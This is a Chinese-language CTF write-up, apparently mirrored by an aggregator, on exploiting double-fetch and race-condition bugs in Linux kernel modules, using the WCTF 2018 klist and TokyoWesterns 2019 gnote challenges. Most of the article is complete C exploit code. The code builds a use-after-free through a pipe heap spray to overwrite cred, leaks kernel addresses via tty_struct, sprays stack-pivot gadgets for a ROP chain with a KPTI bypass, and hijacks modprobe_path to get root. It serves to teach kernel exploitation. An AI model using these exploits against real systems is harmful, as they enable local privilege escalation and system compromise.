6

条件竞争在Kernel提权中的应用

 3 years ago
source link: https://www.anquanke.com/post/id/238473
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Double-Fetch漏洞简介

随着多核CPU硬件的普及,并行程序被越来越广泛地使用,尤其是在操作系统、实时系统等领域。然而并行程序将会引入并发错误,例如多个线程都将访问一个共享的内存地址。如果其中一个恶意线程修改了该共享内存,则会导致其他线程得到恶意数据,这就导致了一个数据竞争漏洞。数据竞争极易引发并发错误,包括死锁,原子性违例(atomicity violation),顺序违例(order violation)等。当并发错误可以被攻击者利用时,就形成了并发漏洞。

当内核与用户线程发生了竞争,则产生了double fetch漏洞。如上图所示,用户态进程通过调用内核函数来访问内核数据,但是如果内核函数同时也会读取该内核数据时,则会产生一种漏洞情况。例如当内核数据第一次取该数据进行检查,然后检查通过后会第二次取该数据进行使用。而如果在第一次通过检查后,用户态进程修改了该数据,即会导致内核第二次使用该数据时,数据发生改变,则会造成包括缓冲区溢出、信息泄露、空指针引用等漏洞。

下面以两道题目讲述 Double-Fetch常见的漏洞点和常见的攻击方法。

2018-WCTF-klist

__int64 __fastcall add_item(__int64 a1)
{
  __int64 chunk; // rax
  __int64 size; // rdx
  __int64 data; // rsi
  __int64 v4; // rbx
  __int64 v5; // rax
  __int64 result; // rax
  __int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF

  if ( copy_from_user(v7, a1, 16LL) || v7[0] > 0x400uLL )
    return -22LL;
  chunk = _kmalloc(v7[0] + 24, 21103296LL);
  size = v7[0];
  data = v7[1];
  *(_DWORD *)chunk = 1;
  v4 = chunk;
  *(_QWORD *)(chunk + 8) = size;
  if ( copy_from_user(chunk + 24, data, size) )
  {
    kfree(v4);
    result = -22LL;
  }
  else
  {
    mutex_lock(&list_lock);
    v5 = g_list;
    g_list = v4;
    *(_QWORD *)(v4 + 16) = v5;
    mutex_unlock(&list_lock);
    result = 0LL;
  }
  return result;
}

Add函数,可以通过kmalloc申请一个堆块,并且将堆块的前0x18当作一个管理结构,如下所示:

0x0-0x8             flag
0x8-0x10:            size
0x10-0x18:        next

其中flag用于标记当前堆块的使用次数,size为大小,next指向下一个堆块。并且当将堆块插入g_list链表时,首先会调用互斥锁,将堆块插入后,再解锁。

__int64 __fastcall select_item(__int64 a1, __int64 a2)
{
  __int64 v2; // rbx
  __int64 v3; // rax
  volatile signed __int32 **v4; // rbp

  mutex_lock(&list_lock);
  v2 = g_list;
  if ( a2 > 0 )
  {
    if ( !g_list )
    {
LABEL_8:
      mutex_unlock(&list_lock);
      return -22LL;
    }
    v3 = 0LL;
    while ( 1 )
    {
      ++v3;
      v2 = *(_QWORD *)(v2 + 16);
      if ( a2 == v3 )
        break;
      if ( !v2 )
        goto LABEL_8;
    }
  }
  if ( !v2 )
    return -22LL;
  get((volatile signed __int32 *)v2);
  mutex_unlock(&list_lock);
  v4 = *(volatile signed __int32 ***)(a1 + 200);
  mutex_lock(v4 + 1);
  put(*v4);
  *v4 = (volatile signed __int32 *)v2;
  mutex_unlock(v4 + 1);
  return 0LL;
}

select用于从 g_list中选择需要的堆块,并放入 file+200处。而且放入时,也会先检查互斥锁,然后再解锁。这里还有一个 getput函数,分别如下:

void __fastcall get(volatile signed __int32 *a1)
{
  _InterlockedIncrement(a1);
}

__int64 __fastcall put(volatile signed __int32 *a1)
{
  __int64 result; // rax

  if ( a1 )
  {
    if ( !_InterlockedDecrement(a1) )
      result = kfree();
  }
  return result;
}

get用于将堆块的 flag加1。put用于将堆块的flag减1,并且判断当堆块的 flag为0时,则将该堆块 free掉。这里都是原子操作,不存在竞争。

__int64 __fastcall remove_item(__int64 a1)
{
  __int64 list_head; // rax
  __int64 v2; // rdx
  __int64 v3; // rdi
  volatile signed __int32 *v5; // rdi

  if ( a1 >= 0 )
  {
    mutex_lock(&list_lock);
    if ( !a1 )
    {
      v5 = (volatile signed __int32 *)g_list;
      if ( g_list )
      {
        g_list = *(_QWORD *)(g_list + 16);
        put(v5);
        mutex_unlock(&list_lock);
        return 0LL;
      }
      goto LABEL_12;
    }
    list_head = g_list;
    if ( a1 != 1 )
    {
      if ( !g_list )
      {
LABEL_12:
        mutex_unlock(&list_lock);
        return -22LL;
      }
      v2 = 1LL;
      while ( 1 )
      {
        ++v2;
        list_head = *(_QWORD *)(list_head + 16);
        if ( a1 == v2 )
          break;
        if ( !list_head )
          goto LABEL_12;
      }
    }
    v3 = *(_QWORD *)(list_head + 16);
    if ( v3 )
    {
      *(_QWORD *)(list_head + 16) = *(_QWORD *)(v3 + 16);
      put((volatile signed __int32 *)v3);
      mutex_unlock(&list_lock);
      return 0LL;
    }
    goto LABEL_12;
  }
  return -22LL;
}

Remove操作,是将选择的堆块,从 g_list链表中移除,并且会对堆块的 flag减1。

unsigned __int64 __fastcall list_head(__int64 a1)
{
  __int64 head; // rbx
  unsigned __int64 v2; // rbx

  mutex_lock(&list_lock);
  get((volatile signed __int32 *)g_list);
  head = g_list;
  mutex_unlock(&list_lock);
  v2 = -(__int64)(copy_to_user(a1, head, *(_QWORD *)(head + 8) + 24LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
  put((volatile signed __int32 *)g_list);
  return v2;
}

list_head操作是先调用互斥锁,再从 g_list取出链表头堆块,再调用解锁。输出给用户,然后调用 put函数。

注意:我们查看每一次put操作,发现上面调用 putget时,都会调用互斥锁。而这里 在 put时却没有调用互斥锁。也就是存在了一个条件竞争漏洞。我们可以在执行 put函数之前,执行其他函数获得互斥锁,来构造一个条件竞争漏洞。

__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 *v5; // r13
  __int64 v6; // rsi
  _QWORD *v7; // rdi
  __int64 result; // rax

  v5 = *(__int64 **)(a1 + 200);
  mutex_lock(v5 + 1);
  v6 = *v5;
  if ( *v5 )
  {
    if ( *(_QWORD *)(v6 + 8) <= a3 )
      a3 = *(_QWORD *)(v6 + 8);
    v7 = v5 + 1;
    if ( copy_to_user(a2, v6 + 24, a3) )
    {
      mutex_unlock(v7);
      result = -22LL;
    }
    else
    {
      mutex_unlock(v7);
      result = a3;
    }
  }
  else
  {
    mutex_unlock(v5 + 1);
    result = -22LL;
  }
  return result;
}

然后,read、write都是调用 file+200处的堆块指针。

这里结合 read和 write,就能够构造一个悬垂指针,进而实现任意地址读写。

构造 UAF

构造一个 fork进程,在子进程中 不断调用AddSelect将堆块放入 file+200处,然后再调用 removeflag设置为1 。而在父进程中不断调用 list_head。那么就存在这样一种情况。

当父进程的list_head执行到 put之前时,此时互斥锁已经解锁。那么子进程就可以刚好调用了 一个 Add函数生成了一个新的链表头且执行了 remove此时flag为1,然后父进程执行put时该新链表头flag减1后,该新堆块就会被释放。然而,此时该新堆块被释放了,却在 file+200处留下了堆块地址,形成了一个悬垂指针。整体流程如下

                parent process:                    child process
mutex_lock()
                    get(old_chunk_head)
mutex_unlock()
mutex_lock()
                                                   Add(new_chunk_head)                flag=1
                                                     Select(new_chunk_head)            flag+1=2
                                                     Remove(new_chunk_head)            flag-1=1
mutex_unlock()
                    put(new_chunk_head)                                                flag-1=0

任意地址读写
这里的任意地址读写并不是指定地址读写实现,而是通过 UAF漏洞修改 堆块结构中的 size,将其改大。让我们能够读写一个巨大的size。而这里就需要一个能够分配 释放的堆块,并且写入该堆块的函数。这里选择管道 pipe函数,其代码如下:

SYSCALL_DEFINE1(pipe, int __user *, fildes)                         
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)            
static int __do_pipe_flags(int *fd, struct file **files, int flags) 
int create_pipe_files(struct file **res, int flags)                 
static struct inode * get_pipe_inode(void)                          
struct pipe_inode_info *alloc_pipe_info(void)
... ...
// v4.4.110
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;   // #define PIPE_DEF_BUFFERS    16
pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);  
// v4.18.4
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);
    //kcalloc最终还是调用kmalloc分配了 n*size 大小的堆空间
        //static inline void *kcalloc(size_t n, size_t size, gfp_t flags)

可以看到 pipe函数也是通过kzalloc实现,而 kzalloc就是加了一个将kmalloc后的堆块清空。所以也是kmalloc函数,那么只要size恰当,那么就一定能够将我们上面uafnew_chunk_head堆块申请出来,并写上数据。

那么利用pipe函数堆喷,就能够实现对 uafnew_chunk_headsize的修改。这里的选择当然不止 pipe函数,其他堆喷方法可参考这篇文章

覆写cred

得到任意地址读写的能力后,提权的方法其实有几种。覆写cred、修改 vdso、修改prctl、修改 modprobe_path,但是除了 覆写 cred,另外几种都需要知道内核地址。这里无法泄露地址。

那么,直接选择爆破 cred地址,然后将其 覆写为 0提权。这里选择爆破的标志位是 uid~fsgid在普通权限下都为 1000(0x3e8)。所以只要寻找到这个,就能确定 crednew_chunk_head的偏移。

这里我尝试了使用常用的设置 PR_SET_NAME,然后爆破寻找 该字符串地址,以此得到cred地址。但是结果是,爆破了很久在爆破出结果后,就卡住了,无法进行下一步。而调试的时候,竟然发现 子线程会一直循环执行,这点是我目前还没有考虑清楚的问题。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>

int fd;

typedef struct List{
    size_t size;
    char* buf;
}klist;

void ErrPro(char* buf){
    printf("Error %s\n",buf);
    exit(-1);
}

void Add(size_t sz, char* buffer){
    klist* list = malloc(sizeof(klist));
    list->size = sz-0x18;
    list->buf = buffer;  
    if(0 < ioctl(fd, 0x1337, list)){
        ErrPro("Add");
    }
}

void Select(size_t num){
    if(-1 == ioctl(fd, 0x1338, num)){
        ErrPro("Select");
    }
}

void Remove(size_t num){
    if(-1 == ioctl(fd, 0x1339, num)){
        ErrPro("Remove");
    }
}

void getHead(char* buf){
    if(-1 == ioctl(fd, 0x133A, buf)){
        ErrPro("getHead");
    }
}

int main(){
    int pid = 0;

    fd = open("/dev/klist", O_RDWR);
    if(fd < 0){
        ErrPro("Open dev");
    }

    char bufA[0x500] = { 0 };
    char bufB[0x500] = { 0 };
    char buf[0x500] = { 0 };
    memset(bufA, 'a', 0x500);
    memset(bufB, 'b', 0x500);

    Add(0x280, bufA);
    Select(0);

    puts("competition now");
    pid = fork();
    if(pid == 0){
        for(int i=0; i<200; i++){
            pid = fork();
            if(pid == 0){
                while(1){
                    if(!getuid()){
                        puts("Root now=====>");
                        system("cat /flag");
                    }
                }
            }
        }

        while(1){
            Add(0x280, bufA);   //creat chunk0 flag=1
            Select(0);          //put chunk0 into file_operations,flag+1=2

            Remove(0);          //flag-1
            Add(0x280, bufB);   //race condition, maybe change chunk0
            read(fd, buf, 0x500);
            if(buf[0] != 'a'){  //if chunk0 changed, race win
                puts("child process race win");
                break;
            }
            Remove(0);          //else, race continue
        }

        puts("Now pipe to heap spray");
        Remove(0);              //uaf point
        char buf3[0x500] = { 0 };
        memset(buf3, 'E', 0x500);
        int fds[2];
    //getchar();
        //利用pipe堆喷,分配到 uaf point and change its size
        pipe(&fds[0]);
        for(int i = 0; i < 9; i++) {
            write(fds[1], buf3, 0x500);   
        }

        puts("We can read and write arbitary, To find cred");
        unsigned int *buffer = (unsigned int *)malloc(0x1000000);
        read(fd, buffer, 0x1000000);    //the uaf pointer'size has been changed
        unsigned int pos = 0;
        int count = 0;
        for(int i=0; i<0x1000000/4; i++){
            if(buffer[i] == 1000 && buffer[i+1] == 1000 && buffer[i+7] == 1000){
                puts("Found cred now");
                pos = i+8;
                for(int x=0; x<8; x++){
                    buffer[i+x] = 0;
                }
                count ++;
                if(count >= 2){
                    break;
                }
            }
        }
    printf("pos: 0x%llx\n",pos*4);
        write(fd, buffer, pos*4);
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else if(pid > 0){
        char buf4[0x500] = { 0 };
        memset(buf4, '\x00', 0x500);
        while(1){
            getHead(buf4);
            read(fd, buf4, 0x500);
            if(buf4[0] != 'a'){
                puts("Parent process race won");
                break;
            }
        }
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else 
    {
        puts("fork failed");
        return -1;
    }
    return 0;
}

2019-TokyoWesterns-gnote

题目首先就给了源码,从源码中可以直接看出来就两个功能,一个是 write,使用了一个 siwtch case结构,实现了两个功能,一是kmalloc申请堆块,一个是 case 5选择堆块。

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

还有一个功能就是read,读取堆块中的数据。

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

然后,虽然给了源码和汇编,看到最后也没发现有什么问题。猜测可能是条件竞争,但是常规的堆块也没有竞争的可能性。这题的漏洞出的十分隐蔽了,write功能中是通过 switch case实现跳转,在汇编中switch case是通过swicth table跳转表实现的,即看如下汇编:

.text:0000000000000019                 cmp     dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C                 ja      short def_20    ; jumptable 0000000000000020 default case
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

会先判断 跳转id是否大于最大的跳转 路径 5,如果不大于再使用 ds:jpt_20这个跳转表来获得跳转的地址。这里可以看到这个 id,首先是从 rbx所在地址中的值与5比较,然后将rbx中的值复制给 eax,通过 eax来跳转。那么存在一种情况,当[rbx]5比较通过后,有另一个进程修改了 rbx的值 将其改为了 一个大于跳转表的值,这里由于 rbx的值是用户态传入的参数,所以是能够被用户态所修改的。随后系统将rbx的值传给eax,此时eax大于5,即可实现 劫持控制流到一个 较大的地址。
也即,这里存在一个 double fetch洞。

泄露地址
这里泄露地址的方法,感觉在真实漏洞中会用到,即利用 tty_struct中的指针来泄露地址。
可以先打开一个 ptmx,然后 close掉。随后使用 kmalloc申请与 tty_struct大小相同的slub,这样就能将tty_struct结构体申请出来。然后利用 read函数读取其中的指针,来泄露地址。

double-fetch堆喷
上面已经分析了可以利用 double-fetch来实现任意地址跳转。那么这里我们跳转到哪个地址呢,跳转后又该怎么执行呢?

这里我们首先选择的是用户态空间,因为这里只有用户态空间的内容是我们可控的,且未开启smap内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget,使得内核态跳转时一定能落到gadget中。那么这里用户态空间选择什么地址呢?

这里首先分析 上面 swicth_table是怎么跳的,这里jmp_table+(rax*8),当我们的rax输入为 0x8000200,假设内核基址为0xffffffffc0000000,则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000),那么最终内核最终将能够访问到 0x1000

由于内核模块加载的最低地址是 0xffffffffc0000000,通常是基于这个地址有最多 0x1000000大小的浮动,所以这里我们的堆喷页面大小 肯定要大于 0x1000000,才能保证内核跳转一定能跳到 gadget 。而一般未开启 pie的用户态程序地址空间为 0x400000,如果我们选择低于0x400000的地址开始堆喷,那么最终肯定会对 用户态程序,动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000,我们的输入为:

(0xffffffffc0000000+0x9000000*8 == 0x8000000)

那么我们选择0x8000000地址,并堆喷 0x1000000大小的 gadget。那么这里应该选择何种 gadget呢?

这里的思路是最好确保内核态执行执行了 gadget后,能被我们劫持到位于用户态空间的的ROP上。这里选用的 gadgetxchg eax, esp,会将 RAX寄存器的 低 4byte切换进 esp寄存器,同时rsp拓展位的高32位清0,这样就切换到用户态的栈了。

然后我们的 ROP部署在哪个地址呢?这里需要根据xchg eax, esp这个gadget的地址来计算,通过在xchg_eax_rsp_r_addr & 0xfffff000处开始分配空间,在 xchg_eax_rsp_r_addr & 0xffffffff处存放内核 ROP链,就可以通过 ROP提权。

然后这里 提权,需要注意开启了 KPTI保护,关于 KPTI保护及绕过方法可以参考这篇文章

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t iretq = 0x0;
size_t modprobe_path = 0x0;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
  char *shell = "/bin/sh";
  char *args[] = {shell, NULL};
  execve(shell, args, NULL);
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
getchar();
    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    } 

}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = prepare_kernel;
    rop_addr[i++] = mv_rdi_rax_p_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

当然这里也可以使用 modprobe_path,执行完后手动执行一下/tmp/ll文件,即可将 flag权限改为 777。

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t memcpy_addr = 0x58a100;
size_t modprobe_path = 0xC2C540;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
size_t p_rsi_r = 0x37799;
size_t p_rdx_r = 0xdd812;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
    system("/tmp/ll");
    system("cat /flag");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;
    memcpy_addr += vmlinux_addr;
    modprobe_path += vmlinux_addr;
    p_rsi_r += vmlinux_addr;
    p_rdx_r += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);

    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    }
}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    unsigned long sh_addr = (xchg_eax_rsp_r&0xfffff000)+0x1000;
    memcpy(sh_addr, "/tmp/chmod.sh\0\n", 20);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = modprobe_path;
    rop_addr[i++] = p_rsi_r;
    rop_addr[i++] = sh_addr;
    rop_addr[i++] = p_rdx_r;
    rop_addr[i++] = 0x18;
    rop_addr[i++] = memcpy_addr;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
    system("chmod +x /tmp/ll");
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

A Survey of The Double-Fetch Vulnerabilities
针对Linux内核中double fetch漏洞的研究


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK